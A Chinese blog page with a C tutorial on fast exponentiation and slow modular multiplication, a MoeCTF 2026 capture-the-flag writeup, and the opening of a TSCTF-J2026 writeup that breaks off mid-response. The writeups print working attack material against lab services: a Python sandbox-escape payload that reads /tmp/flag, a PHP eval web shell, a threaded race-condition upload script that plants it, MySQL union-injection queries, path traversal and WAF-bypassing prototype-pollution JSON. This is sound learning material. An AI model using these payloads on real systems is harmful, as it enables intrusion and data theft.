Ch0kk4ku's Blog

快速幂与龟速乘算法

Tue, 20 Oct 2026 00:00:00 GMT

前言#

起因是笔者初中同学的同学发给了他一个题目，内容是：

a67b0a3dcbedf96ec53e24b0ed240b35

本来笔者以为是一个普通的一道 C++ 题目，但是后来发现数据范围有一些不太对劲 —— 1≤a,b,m≤2631\le a,b,m\le 2^{63}1≤a,b,m≤263 ？这个范围对于常规的 O(n) 循环算法来说已经无法在一秒内计算出结果了，稍微查询一下，一个熟悉的概念映入眼帘 —— 快速幂算法！然而打开 devc++ 后，笔者悲催地发现自己已经忘记了快速幂的核心要义，遂开始重新复习并且记录于此。

由于笔者学的是 C ，以下代码以 C 为主， C++ 同理。

快速幂#

首先来看最基础的乘方计算：

1
#include<stdio.h>
2
#define LL long long
3
LL spow(LL a,LL b,LL m){
4
  LL res=1%m;
5
  a%=m;
6
  while(b--)  res=(res*a)%m;
7
  return res;
8
}
9
int main(){
10
  // 后面快速幂部分主函数内容不变，仅 spow() -> qpow() ，故不重复展示
11
  LL a,b,m;
12
  scanf("%lld %lld %lld",&a,&b,&m);
13
  printf("%lld",spow(a,b,m));
14
  return 0;
15
}

展开收起

注意到这边用到了一个很常见的关于取模的性质，~~读者自证不难~~（其实是笔者还不会证明），利用它分步取模，相比先求出完整幂值最后再取模，能在一定程度上避免中间结果过大而溢出。（但仅靠这一点对本题仍不够，极端情况的处理见后文）

(a⋅b) mod m=((a mod m)⋅(b mod m)) mod m(a\cdot b)\bmod m=\bigl((a\bmod m)\cdot(b\bmod m)\bigr)\bmod m(a⋅b)modm=((amodm)⋅(bmodm))modm

观察原来的代码我们可以发现，我们几乎是完全照搬了乘方的原始定义即 an=a⋅a⋯a⏟n个aa^n=\underbrace{a\cdot a\cdots a}_{n个a}an=n个aa⋅a⋯a ，这样直白的实现让时间复杂度达到了 O(n) ，极其不利于大幂指数的计算，要想要改善这个复杂度，我们只需要知道两个简单的知识：其一为 ax+y=ax⋅aya^{x+y}=a^x\cdot a^yax+y=ax⋅ay，其二为任何非负整数都可以按照其二进制拆分成多个二的幂次之和来表示，如 6=(110)2=0×20+1×21+1×226=(110)_2=0\times2^0+1\times2^1+1\times2^26=(110)2=0×20+1×21+1×22 。二者结合我们就可以按照以下的方式来优化求解幂：

1919810=1919(1100101010)2=19190⋅20⋅19191⋅21⋅19190⋅22⋅19191⋅23⋅19190⋅24⋅19191⋅25⋅19190⋅26⋅19190⋅27⋅19191⋅28⋅19191⋅291919^{810}=1919^{(1100101010)_2} =1919^{0\cdot2^0}\cdot1919^{1\cdot2^1}\cdot1919^{0\cdot2^2}\cdot1919^{1\cdot2^3}\cdot1919^{0\cdot2^4}\cdot1919^{1\cdot2^5}\cdot1919^{0\cdot2^6}\cdot1919^{0\cdot2^7}\cdot1919^{1\cdot2^8}\cdot1919^{1\cdot2^9}1919810=1919(1100101010)2=19190⋅20⋅19191⋅21⋅19190⋅22⋅19191⋅23⋅19190⋅24⋅19191⋅25⋅19190⋅26⋅19190⋅27⋅19191⋅28⋅19191⋅29

或许渲染的有点小？没事，我们可以在代码中看看逻辑：

1
LL qpow(LL a,LL b,LL m){
2
  LL res=1%m;
3
  a%=m;
4
  while(b){
5
    if(b&1)  res=(res*a)%m;
6
    b>>=1;
7
    a*=a,a%=m;
8
  }
9
  return res;
10
}

在这个代码中，我们的核心就是去判断指数的二进制下的每一位，如果为 1 ，则乘上 a2na^{2^n}a2n ，其中 nnn 为当前位数，位数从 0 开始算起。这里的 a*=a 的原理为 a2n×a2n=a2n+2n=a2n+1a^{2^n}\times a^{2^n}=a^{2^n+2^n}=a^{2^{n+1}}a2n×a2n=a2n+2n=a2n+1 即将我们用于乘进去的 a 再次往后推进一位。之所以选择将数字转换为二进制的其中一个原因正是 a2na^{2^n}a2n 平方以后非常自然地就使得 2n2^n2n 能够再次乘以二变为我们想要的 2n+12^{n+1}2n+1 。

总结起来便是以下公式：

ab mod m=∏ia(2i) mod m (当 b 的第 i 位为 1)a^b\bmod m=\prod_{i}{a^{(2^i)}\bmod m}\ \ \ \ \ (\text{当 } b \text{ 的第 } i \text{ 位为 } 1)abmodm=i∏a(2i)modm (当 b 的第 i 位为 1)

到了这里这个快速幂倒是没问题了，但是一看原题，我们现在的解法还有一个致命的漏洞：大数溢出。因为原题的 a,ba,ba,b 范围极大，达到了惊人的 2632^{63}263 ，要知道我们的 long long 最大值也才 263−12^{63}-1263−1 ，当 a=263a=2^{63}a=263 或 b,m=263b,m=2^{63}b,m=263 的时候我们的 long long 压根存不下，所以我们得采用 unsigned long long 来存储输入值。

但是仍然有一个问题，即使我们几乎做到每步都取模了，但是在极端情况下，a=263−1,b=263−1,m=263a=2^{63}-1,b=2^{63}-1,m=2^{63}a=263−1,b=263−1,m=263 ，不可避免地我们会面对 (263−1)⋅(263−1)(2^{63}-1)\cdot(2^{63}-1)(263−1)⋅(263−1) 这种情况，导致在计算的时候溢出。对于这个问题，笔者进行了一番查询，发现了两条常见的解决方案。

法一是在中间计算的时候，将其中一个变量显式类型转化为 __int128 ，其可表示的最大值高达 2127−12^{127}-12127−1 ，对于我们这个情况 (263−1)⋅(263−1)<2126<2127−1(2^{63}-1)\cdot(2^{63}-1)<2^{126}<2^{127}-1(263−1)⋅(263−1)<2126<2127−1 ，很显然是足够了。但是如果看到标题便会知晓，这种方法肯定是有限制的，具体来说：__int128 是 GCC/Clang 的编译器扩展，通常在 64 位目标平台上可用；它不是标准 C/C++，MSVC 不支持，而且甚至没有标准的输入输出（虽然这个跟本题无关），这个限制导致了笔者的 devc++ 并不能在正常配置的情况下使用它。于是，便有了法二 —— 龟速乘。

龟速乘#

所谓龟速乘与快速幂的思想极其相像，区别是前者是加，后者是乘。可以理解为乘法分配律 + 二进制拆分转换：

a×b mod m=∑i(a⋅2i) mod m (当 b 的第 i 位为 1)a×b\bmod m=\sum_{i}{(a⋅2^i)\bmod m}\ \ \ \ \ (\text{当 } b \text{ 的第 } i \text{ 位为 } 1)a×bmodm=i∑(a⋅2i)modm (当 b 的第 i 位为 1)

1
ULL stimes(ULL a,ULL b,ULL m){
2
  ULL res=0;
3
  a%=m;
4
  while(b){
5
    if(b&1)  res+=a,res%=m;
6
    b>>=1;
7
    a*=2,a%=m;
8
  }
9
  return res;
10
}

这样子我们就可以处理掉棘手的极端情况了，最终整合起所有的代码我们便可以得到这道题的最终解：

1
#include<stdio.h>
2
#define ULL unsigned long long
3
ULL stimes(ULL a,ULL b,ULL m){
4
  // 龟速乘
5
  ULL res=0;
6
  a%=m;
7
  while(b){
8
    if(b&1)  res+=a,res%=m;
9
    b>>=1;
10
    a*=2,a%=m;
11
  }
12
  return res;
13
}
14
ULL qpow(ULL a,ULL b,ULL m){
15
  // 快速幂
16
  ULL res=1%m;
17
  a%=m;
18
  while(b){
19
    if(b&1)  res=stimes(res,a,m);
20
    b>>=1;
21
    a=stimes(a,a,m);
22
  }
23
  return res;
24
}
25
int main(){
26
  ULL a,b,m;
27
  scanf("%llu %llu %llu",&a,&b,&m);
28
  printf("%llu",qpow(a,b,m));
29
  return 0;
30
}

展开收起

MoeCTF 2026 Writeup

Thu, 15 Oct 2026 00:00:00 GMT

关于本文

由于神秘原因，导致后半程才开始写 Writeup ，目前仅有部分题目写了 WP 。

等最近的事情忙完了应该会补上一些其他题目的 WP 。持续更新中…

Python 沙箱逃逸#

mathmagic#

随机的jail，能随机的关住人吗？

1
import time
2

3
class Random:
4
    _P = 1000000021
5
    _A = 320560990
6
    _BASE = 123456789 % _P
7
    def __init__(self, seed=0):
8
        self.state = (self._BASE * pow(self._A, seed % 60, self._P)) % self._P
9

10
    def random(self, mod):
11
        self.state = (self.state * self._A) % self._P
12
        return self.state % mod + 1
13

14
def chall():
15
    MOD = 15
16
    seed = int(time.time())
17
    r = Random(seed)
18
    gift = [r.random(MOD) for _ in range(3)]
19
    print("Wlecome to the word of mathmagic!")
20
    print("I hope you like the puzzle I prepared for you.")
21
    print('I will give you a gift!')
22
    print('I hope you like it. Here is your gift:')
23
    print(gift)
24
    print("Now, I will give you the puzzle!")
25
    print("Have fun!")
26
    CODE = ''
27

28
    while code:=input('>> ').strip():
29
        if len(code) != r.random(MOD):
30
            raise ValueError("Invalid code length! You are not a genius!")
31
        CODE += code + '\n'
32
    print("Good job! You are a genius!")
33
    eval(CODE,{'__builtins__': {}})

展开收起

only_open#

starwalking，你别躲在里面不出声，我知道你在open，你有本事open，怎么没本事read哪。read呐，你有本事open，你有本事read呐，read，read，快read，starwalking快read，别躲里面不出声，我知道你在open。
友情提示: flag在/tmp/flag

先看代码，分析防御手段：

1
def chall():
2
    safe_globals={
3
        'open':open,
4
        '__builtins__' : {}
5
    }
6

7
    blacklist = ['_','.','\\']
8
    while True:
9
        try:
10
            message = input('Give me your code: ').encode('ascii').decode('ascii')
11
            if any(b in blacklist for b in message):
12
                raise RuntimeError('Can\'t input any characters in blacklist')
13
            eval(message,safe_globals)
14
        except Exception as e:
15
            print(f'{type(e).__name__} : {e}')

展开收起

首先是置空 __builtins__ ，这意味着几乎所有的内置函数都无法直接使用，注意到其还保留了一个缺口 open ，如果只是这样的话只需要访问 open.__globals__['__builtins__'] 即可拿回正常环境中的内置模块。然而下面黑名单中展示了 _ ，则无法直接使用 __builtins__ 等类似的魔法属性，而屏蔽了 \ ，这使得无法通过 \x5f 或者 \137 转义动态生成 _ 来绕过黑名单。对于 . 的屏蔽是防止直接使用 open("/tmp/flag").read() ，因为这个显然不属于 CTF 考点。而 .encode('ascii').decode('ascii') 是防止通过 Unicode 混淆攻击来绕过屏蔽字符（见题目 3z_ban_jail ）

缺口 open 一定是本题关键，不然直接置空 __builtins__ 即可，有什么办法可以得到 open 的返回呢？

open 是一个可迭代对象，想要获取文件内容，除了使用 read() 以外还可以对其进行解构，我们可以使用数组来承载解构后的结果（元组、集合亦可，但要注意的是用元组承载时要额外加一个逗号来向解释器说明这是元组而不是分组表达式用的圆括号 (*open("/tmp/flag"),) ），即 [*open("/tmp/flag")] 。

由于 eval() 不会直接输出表达式的值，所以我们要让数组显示出来得寻找别的方法。正常的输出函数由于 __builtins__ 的置空已经失效，但是我们可以从“非正常（abnormal）”角度来思考，abnormal=errorabnormal=errorabnormal=error ，所以我们想到通过错误回显的方式来输出（doge）。（其实是从代码中存在主动捕获错误（try...except...）的处理可以发现错误回显的思路）

常见的错误回显方式如构造空字典然后使用 [key] 访问里面的内容，显然不可能访问到，于是会报错 KeyError ，在回显中会显示 key 的值，我们只要用格式化字符串 f"{[*open("/tmp/flag")]}" 来将数组强制转化为字符串来作为 key 即可得到数组内容也即文件内容。注意这边并不能构造数组，因为数组传入字符串索引会报的 TypeError: list indices must be integers or slices, not str 是不会回显具体索引的。

Equals#

听说你数学很好，试试让等式成立？

题目的判定标准是，对于 code 需满足 ∑ord(c)=len2(code),c∈code\sum ord(c) = len^2(code), c \in code∑ord(c)=len2(code),c∈code 。由于等式右边初始值过小，左边对于可见字符而言最小也是 32 ，所以输入比较短的代码基本上无法满足。但是注意到左边是近似线性增长，右边是幂增长，所以当代码长度增加时右边最后会超过左边。想到让代码增长但又不影响其功能，首先想到就是注释 # ，我们只需要构造出一个后面缀有特定字符作为注释的 Payload 即可。

接下来推导构建方法，这里涉及到简单的初中数学知识。假设对于原来的代码设为 codecodecode ，其中的字符设为 ccc ，下一步要新增的字符设为 nnn ：

∑ord(c)+ord(n)=(len(code)+1)2ord(n)=len2(code)+2len(code)+1−∑ord(c)\begin{aligned} \sum ord(c)+ord(n)&=(len(code)+1)^2 \\ ord(n)&=len^2(code)+2len(code)+1-\sum ord(c) \end{aligned}∑ord(c)+ord(n)ord(n)=(len(code)+1)2=len2(code)+2len(code)+1−∑ord(c)

也就是说我们只要让下一个添加的字符的 ascii 码尽可能接近我们当前整个代码的那一大串值（上式中等号右侧）即可。由于在前面很长一段的里面等号右边的值都是负数，所以我们只需要添加尽可能小的字符，也就是空格，其 ascii 为 32 。由于右侧是幂增长，一旦超过左侧就无法被赶上了，所以当我们右侧第一次或者第二次大于 0 的时候大概率就是为数不多可能存在一个可见字符 nnn 满足等式的情况了（第一次大于零的时候可能小于 32 ，这时需要看第二次），这时候只需找到对应 nnn 即可。需要注意的是如果原 Payload 过长有可能出现无法构造的情况。

对以下 Payload 进行构造：

1
print(__import__("subprocess").run("cat /tmp/flag",shell=True,stdout=True).stdout)

在添加了 # 与五个空格后设等式右边为 ttt ，此时 t=100t=100t=100 ，满足关系式 32≤t≤12632\leq t\leq 12632≤t≤126 。则 n=chr(t)n=chr(t)n=chr(t) ，n 取 'd' 。

最终得到的 Payload 如下：

1
print(__import__("subprocess").run("cat /tmp/flag",shell=True,stdout=True).stdout)#     d

开发与运维基础#

碎片风暴#

服务器突然涌入了大量的并发请求！而且每个请求体里，都只带了一小段零碎的字符串。
运维人员抓包后发现，这些字符串似乎是某个重要机密（Flag）的碎片。它们没有序号、没有偏移量，顺序完全是乱的。
你能写一个高性能的服务，接住这些高并发请求，并把完整的 Flag 拼凑出来吗？

首先先要确认请求的格式，通过以下 Python 代码：

Terminal window

1
python3 -c "import socket; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind(('0.0.0.0', 3000)); s.settimeout(3); s.listen(1); c,a=s.accept(); print(c.recv(4096).decode(errors='ignore')); c.close(); s.close()"

可以捕获其中一个“碎片”：

1
POST / HTTP/1.1
2
Host: 127.0.0.1:3000
3
User-Agent: Go-http-client/1.1
4
Content-Length: 4
5
Content-Type: text/plain
6
Accept-Encoding: gzip
7

8
n_Bu

可以知道是标准的 POST 请求，于是编写 Python 代码进行简单的捕获，然后再用题目附件给的 SCS 求解函数进行拼接，最终得到 flag 。（~~当然理论上用该 Python 代码提交 n 次也可以得到完整的 flag~~ ）

1
import asyncio
2

3
frags = set()
4
lock = asyncio.Lock()
5

6
def solve_scs(fragments: list[str]) -> tuple[str, bool]:
7
    """
8
    Shortest Common Superstring solver.
9

10
    Args:
11
        fragments: 碎片列表（可含重复）
12
    Returns:
13
        (result, is_success)
14
        - result: 还原后的字符串
15
        - is_success: True = 贪心结果唯一可信；False = 存在歧义或碎片不连续
16
    """
17

18
    from itertools import permutations
19

20
    # 1. 去重 + 去冗余（被其他片段包含的直接丢弃）
21
    frags = list(dict.fromkeys(fragments))           # 去重，保序
22
    frags = [
23
        f for f in frags
24
        if not any(f in g for g in frags if g != f)
25
    ]
26

27
    if not frags:
28
        return ("", False)
29
    if len(frags) == 1:
30
        return (frags[0], True)
31

32
    def max_overlap(a: str, b: str) -> int:
33
        """a 的后缀与 b 的前缀的最大重叠长度"""
34
        limit = min(len(a), len(b))
35
        for ol in range(limit, 0, -1):
36
            if a.endswith(b[:ol]):
37
                return ol
38
        return 0
39

40
    def greedy_merge(pool: list[str]) -> str:
41
        """贪心：每轮合并重叠最大的一对"""
42
        pool = pool[:]
43
        while len(pool) > 1:
44
            best_ol, bi, bj = -1, 0, 1
45
            for i in range(len(pool)):
46
                for j in range(len(pool)):
47
                    if i == j:
48
                        continue
49
                    ol = max_overlap(pool[i], pool[j])
50
                    if ol > best_ol:
51
                        best_ol, bi, bj = ol, i, j
52
            merged = pool[bi] + pool[bj][best_ol:]
53
            pool = [merged] + [pool[k] for k in range(len(pool)) if k not in (bi, bj)]
54
        return pool[0]
55

56
    # 2. 片段数量少时用暴力
57
    #    片段数量多时用贪心
58
    EXACT_THRESHOLD = 8
59

60
    if len(frags) <= EXACT_THRESHOLD:
61
        # 枚举所有排列，找真正最短的公共超串
62
        best: str | None = None
63
        for perm in permutations(frags):
64
            # 按排列顺序依次合并
65
            cur = perm[0]
66
            for nxt in perm[1:]:
67
                ol = max_overlap(cur, nxt)
68
                cur += nxt[ol:]
69
            if best is None or len(cur) < len(best):
70
                best = cur
71

72
        # 检查贪心结果是否与精确结果一致
73
        greedy_result = greedy_merge(frags)
74
        is_success = (greedy_result == best)
75
        return (best, is_success)     # type: ignore[return-value]
76

77
    else:
78
        # 片段太多，只跑贪心
79
        result = greedy_merge(frags)
80
        is_success = all(f in result for f in frags)
81
        return (result, is_success)
82

83
async def handle(reader, writer):
84
    data = await reader.readuntil(b'\r\n\r\n')
85
    text = data.decode('utf-8')
86

87
    content_length = 0
88
    for line in text.split('\r\n'):
89
        if line.startswith('Content-Length:'):
90
            content_length = int(line.split(':')[1].strip())
91
            break
92
    try:
93
        body = await reader.readexactly(content_length) if content_length > 0 else b''
94
    except Exception as e:
95
        print(f'Error reading request: {e}')
96
        writer.close()
97
        await writer.wait_closed()
98
        return
99

100
    async with lock:    # 注意这里要加锁
101
        frags.add(body.decode('utf-8'))
102
        res = solve_scs(list(frags))
103
        if res[0].startswith('moectf{') and res[0].endswith('}'):
104
            print(f'Found the flag: {r·es[0]}')
105

106
    writer.write(b'HTTP/1.1 200 OK\r\n\r\n')
107
    await writer.drain()
108
    writer.close()
109
    await writer.wait_closed()
110

111
async def main():
112
    server = await asyncio.start_server(handle, '0.0.0.0', 3000)
113
    print('Server running on http://0.0.0.0:3000')
114
    await server.serve_forever()
115

116
asyncio.run(main())

展开收起

得到 flag 为 moectf{BY-us1NG-IANGU4g35-We_c@n_BuILD_V4rI0US_pIATF0rms-and-applications0} 。

需要注意的是这里有一个高并发下的锁处理，避免多线程同时修改 frags 时造成数据竞争。另外本程序为一次性程序，不是很健壮，且在拿到 flag 以后没有判定 is_success == True 后退出，仍然会继续运行造成 flag 刷屏，~~Ctrl + C 即可~~ 。

Web 安全与渗透测试#

查分系统#

下载静态的 system.html 打开源代码，Ctrl + F 查询 moectf 即可得到 flag 。

归途#

先看控制台，我们发现了 Key1-N2ghNUkkTQ== ，base64 解码后发现这是 7h!5I$M ，推测是 flag 的一部分。继续审计源码，发现了一行注释：

1
<!-- Key2-QDBtNG9k -->

解码后为 @0m4od ，而后又在网络请求中发现了 key3（注意这一步审计源码也可以得到）：

1
async function pollKey() {
2
  try {
3
    const res = await fetch("/getKey?id=3", { cache: "no-store" });
4
    const data = await res.json();
5
  } catch (error) {
6
    document.getElementById("api-status").textContent = "Request failed";
7
  }
8
}

1
{
2
    "key": "Key3-M0szeUVuKw==",
3
    "message": "Do you know url params? Try to get Key4"
4
}

这里的 url params 指的是 url 后面所带的参数，其格式为 ?param1=value1&&param2=value2... ，省略号表示可以有多个类似结构的参数。观察这个 GET 方法，我们可以看到其传了一个 id=3 从而得到了 key3 ，那么 key4 显然就是 id=4 咯，尝试 GET key4（这一步可以在浏览器中直接输入网址进行，也可以在工具中进行）：

1
{
2
  "key": "Key4-ZXJUaDFzbGE=",
3
  "message": "Do you know HTTP headers? Check it. Besides, Try to POST this api"
4
}

这里让我们 check 一下 HTTP headers ，即查看一下返回的请求头：

1
HTTP/1.0 200 OK
2
Server: BaseHTTP/0.6 Python/3.12.13
3
Date: Tue, 13 Oct 2026 05:57:14 GMT
4
Content-Type: application/json; charset=utf-8
5
key: Key5-ITkzdA==
6
Content-Length: 108

下一步是 POST 刚刚那个 api ：

1
{
2
  "key": "Key6-ZnwxbGFA",
3
  "message": "Try login!"
4
}

再下一步是尝试登录，由于没有给具体的登录方式，猜测直接构造 url /login 来进入登录，给出了账号与密码直接登录，登录后提示：

1
Do you know cookie(不能吃)? Try to login the account of "admin"

在 cookie 中发现了一个 user:guest ，修改为 user:admin 即可进入下一步：

1
Key7-NGFAZzY5Nmc5
2
有一个文件限制了爬虫可以访问的内容，是什么呢？
3
All Key body are a b64 string, try to decode

凭借常识可知题目说的是 /robots.txt ，访问后得到一个路径 /f13ggggg ，访问后输入最终解码的内容：

1
Key1   N2ghNUkkTQ==   7h!5I$M
2
Key2   QDBtNG9k       @0m4od
3
Key3   M0szeUVuKw==   3K3yEn+
4
Key4   ZXJUaDFzbGE=   erTh1sla
5
Key5   ITkzdA==       !93t
6
Key6   ZnwxbGFA       f|1la@
7
Key7   NGFAZzY5Nmc5   4a@g696g9
8

9
7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9

便可以得到最终的 flag 。

当零来敲门#

快来和群友（并不是）一起玩快乐的数字接龙！只要大家齐心协力从 1 数到 500，出题人就把 Flag 白送给你！
诶等等，怎么聊天室里混进来了一个…… 这个「林林」是个无情的刷屏复读机，每过 10 秒钟就必须看到一次 0。只要它发了 0，大家刚刚数出来的进度就当场重置归零！

显然靠手速在 10 秒内打完 500 次是不现实的，考虑 Python 脚本自动进行报数。

先尝试报数 1 ，即可在浏览器 Devtools 的 Network 中找到是向 /chat 发送了一个 POST 请求，请求的表单包括用户名和消息。连接上 SSH 后在交互式 Python 中使用以下代码即可。

1
import requests
2
url = "http://127.0.0.1:8080/chat"
3
for i in range(500):
4
  data = {"user": "cck", "msg": i+1}
5
  res = requests.post(url, json = data)
6
  print(res.status_code)

MoeCatchTheFrogs#

MoeCTF 2026 官方群已经被绿色青蛙占领！！🐸🐸🐸
传说抓住所有的九种青蛙，就可以获得一份神秘礼物……

点击抓青蛙后发现 cookie 中多了一个 frog_session ，看样式应该是 flask-session ，使用 flask-unsign 即可爆破出弱口令 qwe123456 ，然后构造出 {'frogs':[0,1,2,3,4,5,6,7,8,9]} 的对应 session ，修改本地后刷新网页即可。

注意这个口令貌似在 flask-unsign 默认词典里没有，需要换个体量更大的 wordlist 。

古籍翻阅#

容器打开后是一大堆的古籍，随便点击几本进去都是 404 - 此卷散佚 ，联系题目名字我们应该要找到一个特殊的古籍，而题目给了所有古籍的目录，我们可以写一个简单的 python 脚本来处理这个目录，从中找到突破口：

1
with open("guji_catalog.txt", "r") as f:
2
    content = sorted(f.readlines())
3
    for line in content:
4
        print(line.strip())

在输出的 s 和 z 开头的文件之间我们可以看到一个与众不同的文件名字 true_file：

1
...
2
shi/tongjian/www
3
true_file
4
zi/laozi/admin
5
...

推测这是下一步的突破口，我们在 html 源码中搜寻该文件名得到：

1
<a class="scroll-link" href="[/read?book=true_file](http://127.0.0.1:51569/read?book=true_file)"><span class="seal">0737</span><span class="title">无名真卷</span><span class="meta">孤本</span></a>

点进去后得到了提示：

其实flag藏在了根目录下，去看看根目录吧

这里尝试了 /flag , /read?book=/flag ，/read?book=flag 等都是无果的。后来盯着目录文件看了半天突然发现这很像是文件结构，考虑存在路径穿越漏洞，于是尝试 /read?book=../../ 成功得到 flag ：moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l} 。从 flag 可以看出路径穿越确实是该题预期知识点。

河湖小盗#

打开界面非常简洁的一个网信院往年试题检索系统，很明显要使用 sql 注入。

首先尝试输入 1 ，可以看到返回了序号为 1 的登记人的信息，尝试输入 1 or 1=1 ，发现全部 5 条信息都出现了，说明是数字型注入，上下文内不存在引号且查询参数后面没有任何内容。观察表格有三列，猜测查询内容有三列，尝试使用联合注入 1 union select 1,2,3 ，成功将 1,2,3 带到了返回的结果里来。

通过特征函数 version() 与 sqlite_version() 可以判断出数据库是 MySQL 8.0.46 ，则使用 MySQL 的方法查表名列名等：

1
1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
2
1 union select group_concat(column_name),2,3 from information_schema.columns where table_name="flag_table"
3
1 union select flag,2,3 from flag_table where id=1

最终可以得到 flag ：moectf{h3re_i5_your_7e$7_pap3r} 。

我刚一提交就发现了三个问题#

我在你们这才交了几个文件，我已经发现三个问题了：
首先，（啪啪啪），在线提交，这文件怎么进了你的私人的目录里呢？
第二，这个文件我刚传进去，我还没拿到flag呢，这已经被删了，诶，这说明你们的后端逻辑有问题啊
第三，这个木马已经被我传上去了，这位邪恶的出题人，你怎么不给我flag呢？那请问我怎么才能解题呢？
（尝试提交内容为题目描述的文本文件会有惊喜，不包含括号内容，注意消除行间空格）

首先分析题目，通过提交文件可知这应该是一道文件上传漏洞题目。由题目第二点可知后端有对上传的文件进行校验，剩下两点看不出有什么作用。

连接上 wsrx 后对网页进行观察，尝试随便上传一个文件 1.txt ，发现会有回显上传路径为 /private/1.txt ，访问后可以看到文件内容。尝试编辑一句话木马 <?php @eval($_POST[\"cmd\"]); ?> 并上传，发现正常显示上传路径，但是访问时出现 404 。说明未通过服务器校验后被删除文件。此外还进行了其他尝试如改后缀名为 php3 、php5 等，将 PHP 代码通过 txt 格式上传等，均会出现 404 ，推测后端校验会校验内容，于是另找方向突破。

从正常显示上传路径可猜测服务器大概率是先保存文件再进行校验文件的，中间可能存在允许访问文件的窗口，联想到竞态条件漏洞。我们可以通过多线程上传文件与访问文件，使得上传的文件在还未校验删除的窗口期被触发，从而植入不会被校验的木马文件，再访问木马文件即可。

1
import requests
2
import threading
3
import time
4

5
BASE_URL = "http://127.0.0.1:1883"
6
SEND_PATH = "/submit"
7
GET_PATH = "/private/a.php"
8
THREAD_COUNT = 20
9

10
PAYLOAD = "<?php file_put_contents('ckk.php', '<?php @eval($_POST[\"cmd\"]); ?>'); echo 'Mamba out!'; ?>"
11
files = {'file': ('a.php', PAYLOAD, 'application/x-php')}
12

13
stop_event = threading.Event()
14

15
def send_payload():
16
    while not stop_event.is_set():
17
        try:
18
            response = requests.post(BASE_URL + SEND_PATH, files=files, timeout=1)
19
            time.sleep(0.01)
20
        except Exception as e:
21
            pass
22

23
def get_shell():
24
    while not stop_event.is_set():
25
        try:
26
            res = requests.get(BASE_URL + GET_PATH, timeout=1)
27
            if res.status_code == 200 and "Mamba out!" in res.text:
28
                print("Shell obtained!")
29
                stop_event.set()
30
                return
31
            else:
32
                pass
33
        except Exception as e:
34
            pass
35
        time.sleep(0.01)
36

37
if __name__ == "__main__":
38
    threads = []
39
    for _ in range(THREAD_COUNT):
40
        t = threading.Thread(target=send_payload)
41
        threads.append(t)
42
        t.start()
43

44
    get_shell()
45

46
    for t in threads:
47
        t.join(timeout = 1)
48

49
    print("All threads have finished.")

展开收起

运行后等待输出 Shell obstained! ，然后访问 /private/ckk.php，界面空白，在开发者工具中网络选项卡看到状态码为 200 ，则注入成功。而后用蚁剑连接，在根目录下的 flag 文件中得到 flag ：moectf{h0t_$0y_m!1k_ha5_n0_$+raw} 。

合乎周礼 & 礼崩乐坏#

同一系列的题，通过访问 /api/help 得到以下信息：

1
{
2
  "name": "配置中心",
3
  "routes": {
4
    "GET /": "题目描述",
5
    "GET /api/me": "查看当前用户的配置",
6
    "POST /api/profile": "提交 JSON 配置",
7
    "GET /api/flag": "只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG"
8
  }
9
}

访问 /api/me 得到以下信息：

1
{
2
  "ok": true,
3
  "profile": {
4
    "profile": {
5
      "nickname": "guest"
6
    },
7
    "theme": {
8
      "color": "blue"
9
    }
10
  },
11
  "inheritedProbe": {
12
    "isAdmin": null,
13
    "canReadFlag": null
14
  }
15
}

展开收起

可知我们需要做的事情就是让 inheritedProbe 下的两个属性全部都变为 true 。尝试 POST /api/profile 并上传 JSON 可以发现上传的东西会被解析添加到 profile 下，无法直接修改我们要的 inheritedProbe 。这种隔空影响属性的要求能够联想到原型链污染。

前者不存在 WAF ，所以直接用最简单的方式即可：

1
{
2
  "profile": {
3
    "__proto__": {
4
      "isAdmin": true,
5
      "canReadFlag": true
6
    }
7
  }
8
}

后者存在 WAF ，禁止嵌套对象，否则会返回 “配置值仅允许布尔值、数字、短字符串或 null” ，那后端有可能采用的是类似“点号路径赋值”的函数，能够传入扁平键值对。尝试构造 __proto__.isAdmin ，发现如果遇到 __proto__ 会返回 “此举不合礼制” 。经过尝试后发现出题人没有屏蔽 constructor ，构造以下 JSON 即可：

1
{
2
  "profile": {
3
    "constructor.prototype.isAdmin": true,
4
  "constructor.prototype.canReadFlag": true
5
  }
6
}

TSCTF-J2026 Writeup

Thu, 15 Oct 2026 00:00:00 GMT

本 WP 只涵盖笔者在正赛期间提交正确 flag 的 9 道题与未做出的一道题的一些赛时 WP ，笔者在赛后（如果有）做出的，会放在 Writeup 2 中。

部分题目步骤采用 dsh 或是网页版 ds 或是 bing、各路博客辅助思路。

abstract#

Dried Milkdragon#

奶龙题，题目给出一张图是某品牌芒果干，在天猫超市转了一圈只看到了同品牌的另一款较大包芒果干，但是经过观察图像发现芒果干袋子的钩子是透明的，而天猫超市（以及后面的永年超市）的正常货架的钩子是非透明的圆柱状，又转了一圈发现之前忽略的在货架边上的一整条挂下来的商品有部分满足该现象，同时观察到图片内芒果干袋子下方有同品牌该产品没有的花纹，而图片左下角有粉色的同款花纹——说明多种口味的该种芒果干在竖行同一处，所以推测这是货架侧面商品，天猫超市中货架侧面没有符合的商品。于是去永年超市，然后便找到目标，商品旁有一个意见本，翻到最后一页即为 flag 。

以上分析过程是无聊且懒得出去的时候想的，有助于加快一点点实地找的速度，其实只需要细心一点去遍历两个超市所有商品即可。

emoji#

发散能力不够，遂 Deepseek 解出答案。（以下为 ds 原话）

🌝🌚：明 + 月 → 明月
👋：送别，谐音“松”
🚀：火箭有“箭”，谐音“间”
👋：招手，谐音“照”
😙：亲，谐音“清”
🤛：拳，谐音“泉”
🤛：拳头硬如石 → 石
🌞：太阳在天上 → 上
🌧️：下雨流水 → 流

虽然我觉得这好雷霆啊这真的简单吗（？

web#

好想玩原神#

首先观察界面，是个原神登录界面，尝试随便输入用户名与密码，返回零条通行证记录并且 redirect 到原神官网（x

尝试代码审计，查看源代码的时候发现注释中含有 checkit 的账号名单，随便挑选一个可以登录成功并且返回不知所云的通行证记录。通过 Yakit 进行全部账号尝试后发现返回的东西没有什么特殊的（如 cookie 等），遂猜测可能是 SQL 注入（？

首先使 password:Windfall2407' ，发现返回的内容变成了：

1
{
2
  "detail": "OperationalError",
3
  "error": "登录网关解析失败"
4
}

上网查询后发现是 sqlite3 的常见错误，也就是说是字符型注入。尝试 sqlite 相关函数如 sqlite_version() ，构造 payload 时却一直发现出现 403 错误，查看返回体发现：

1
{
2
  "error": "blocked by login firewall",
3
